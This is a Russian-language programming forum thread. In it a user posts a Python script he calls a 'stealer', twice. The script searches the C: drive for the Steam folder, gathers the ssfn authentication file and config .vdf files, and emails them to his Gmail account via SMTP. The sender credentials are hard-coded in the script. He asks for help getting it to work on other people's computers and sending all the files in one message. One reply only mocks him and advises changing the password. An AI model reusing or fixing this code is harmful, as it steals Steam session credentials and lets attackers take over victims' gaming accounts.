0 / 0 / 1
Регистрация: 24.11.2017
Сообщений: 5

Поиск файлов на компьютере и последующая отправка на почту

27.11.2017, 22:32. Показов 3333. Ответов 2

Студворк — интернет-сервис помощи студентам
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import glob
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
def find_steam(dir):
    for dirpath, dirnames, filenames in os.walk(dir):
        for i in dirnames:
            if i == 'Steam':
                dirpath = os.path.join(dirpath, 'Steam\\')
                return dirpath
def find_files(dir):
    n = os.listdir(dir)
    for i in n:
        if i == 'config':
            a = os.path.join(dir, "config\\")
            return a
def find_steal(dir):
    os.chdir(dir)
    a = glob.glob('*.vdf')
    return a
def ssfn(dir):
    s = os.listdir(dir)
    for i in s:
        if i == 'ssfn32193612192398930':
            a = i
            return a
def main():
    dir = 'C:\\'
    Steam = find_steam(dir)
    b = (find_files(Steam))
    a = (find_steal(find_files(Steam)))
    c = os.path.join(Steam, ssfn(Steam))
    f = []
    f.append(c)
    for i in a:
        k = str(b+i)
        f.append(k)
    email_user = 'kostyachva@gmail.com'
    email_send = 'kostyachva@gmail.com'
    subject = 'Python'
    for i in f:
        filename = i
        attachment = open(filename, 'rb')
        part = MIMEBase('application', 'octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment: filename ' + filename)
        msg = MIMEMultipart()
        msg.attach(part)
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject
        body = 'Санин стим'
        msg.attach(MIMEText(body, 'plain'))
        text = msg.as_string()
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login('kostyachva@gmail.com', '19734628z')
        server.sendmail(email_user, email_send, text)
    server.quit()
if __name__ == '__main__':
    main()
Я сделал вроде стиллера, он забирает файлы стима и отправляет их на указанную почту, проблема в том, что он не работает на других компьютерах, и помогите пожалуйста разобраться с проблемой, почему файлы , которые приходят мне на почту, теряют название и называются "nonamed", также они без расширения и как я могу отправить все файлы в одном письме, а не отправлять каждый раз в новом письме следующий файл, заранее спасибо
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
27.11.2017, 22:32
Ответы с готовыми решениями:

Поиск и отправка файлов на почту
Нужен пример кода который искал бы файл по всему диску "C" допустим файл "Отчет 27.12.2017" и отправлял на почту

Отправка файлов на почту
Подскажите материал для изучения. Хочу научиться программно работать с интернетом допустим на том же Си, т.е. допустим, чтобы определённые...

Отправка файлов на почту
Как отправить файлы на почтовый ящик? Как просто письмо отправить, я разобрался: $EmailFrom = 'admin@mail.ru' $EmailTo =...

2
0 / 0 / 1
Регистрация: 24.11.2017
Сообщений: 5
27.11.2017, 23:11  [ТС]
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import glob
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
def find_steam(dir):
    for dirpath, dirnames, filenames in os.walk(dir):
        for i in dirnames:
            if i == 'Steam':
                dirpath = os.path.join(dirpath, 'Steam\\')
                return dirpath
def find_files(dir):
    n = os.listdir(dir)
    for i in n:
        if i == 'config':
            a = os.path.join(dir, "config\\")
            return a
def find_steal(dir):
    os.chdir(dir)
    a = glob.glob('*.vdf')
    return a
def ssfn(dir):
    s = os.listdir(dir)
    for i in s:
        if i == 'ssfn32193612192398930':
            a = i
            return a
def main():
    dir = 'C:\\'
    Steam = find_steam(dir)
    b = (find_files(Steam))
    a = (find_steal(find_files(Steam)))
    c = os.path.join(Steam, ssfn(Steam))
    f = []
    f.append(c)
    for i in a:
        k = str(b+i)
        f.append(k)
    email_user = '@gmail.com'
    email_send = '@gmail.com'
    subject = 'Python'
    for i in f:
        filename = i
        attachment = open(filename, 'rb')
        part = MIMEBase('application', 'octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment: filename ' + filename)
        msg = MIMEMultipart()
        msg.attach(part)
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject
        body = 'somebody's steam''
        msg.attach(MIMEText(body, 'plain'))
        text = msg.as_string()
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login('@gmail.com', '19734628z')
        server.sendmail(email_user, email_send, text)
    server.quit()
if __name__ == '__main__':
    main()
Я сделал вроде стиллера, он забирает файлы и отправляет их на указанную почту, проблема в том, что он не работает на других компьютерах, и помогите пожалуйста разобраться с проблемой, почему файлы , которые приходят мне на почту, теряют название и называются "nonamed", также они без расширения и как я могу отправить все файлы в одном письме, а не отправлять каждый раз в новом письме следующий файл, заранее спасибо
0
Просто Лис
Эксперт Python
 Аватар для Рыжий Лис
5973 / 3735 / 1099
Регистрация: 17.05.2012
Сообщений: 10,791
Записей в блоге: 9
28.11.2017, 05:22
Вируписатели совсем не палятся. Хоть пароль от почти смени.
1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
28.11.2017, 05:22
Помогаю со студенческими работами здесь

Отправка файлов на почту
Здравствуйте! Подскажите, пожалуйста, как реализовать такую функцию: у меня на обычной HTML страничке, есть поле e-mail и есть поля с...

Отправка нескольких файлов на почту
Всем привет нужно отправить несколько файлов на почту посредствам vbs или cmd желательно чтобы этого небыло видно.. Почта yandex.ru ...

Отправка присоединенных файлов на почту
Доброе утро, в документе ЗаказНаряд есть кнопка "@" которая отправляет комплект документов на почту и кнопка "файлы", для выбора...

Отправка нескольких файлов на почту
Не получается реализовать отправку нескольких файлов на почту. Помогите пожалуйста. Attachment sendfile = new...

Отправка на почту несколько файлов
Привет, как мне добавить файлы в разные textbox'ы вот код на кнопку добавить ( вывод в textbox ) p.s мне нужно чтобы каждый раз...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Закрытая тема Создать тему
Опции темы

Новые блоги и статьи
Ритм жизни
kumehtar 27.02.2026
Иногда приходится жить в ритме, где дел становится всё больше, а вовлечения в происходящее — всё меньше. Плотный график не даёт вниманию закрепиться ни на одном событии. Утро начинается с быстрых,. . .
SDL3 для Web (WebAssembly): Сборка библиотек SDL3 и Box2D из исходников с помощью CMake и Emscripten
8Observer8 27.02.2026
Недавно вышла версия SDL 3. 4. 2 библиотеки SDL3. На странице официальной релиза доступны исходники, готовые DLL (для x86, x64, arm64), а также библиотеки для разработки под Android, MinGW и Visual. . .
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
Семь CDC на одном интерфейсе: 5 U[S]ARTов, 1 CAN и 1 SSI
Eddy_Em 18.02.2026
Постепенно допиливаю свою "многоинтерфейсную плату". Выглядит вот так: https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11617&stc=1&d=1771445347 Основана на STM32F303RBT6. На борту пять. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru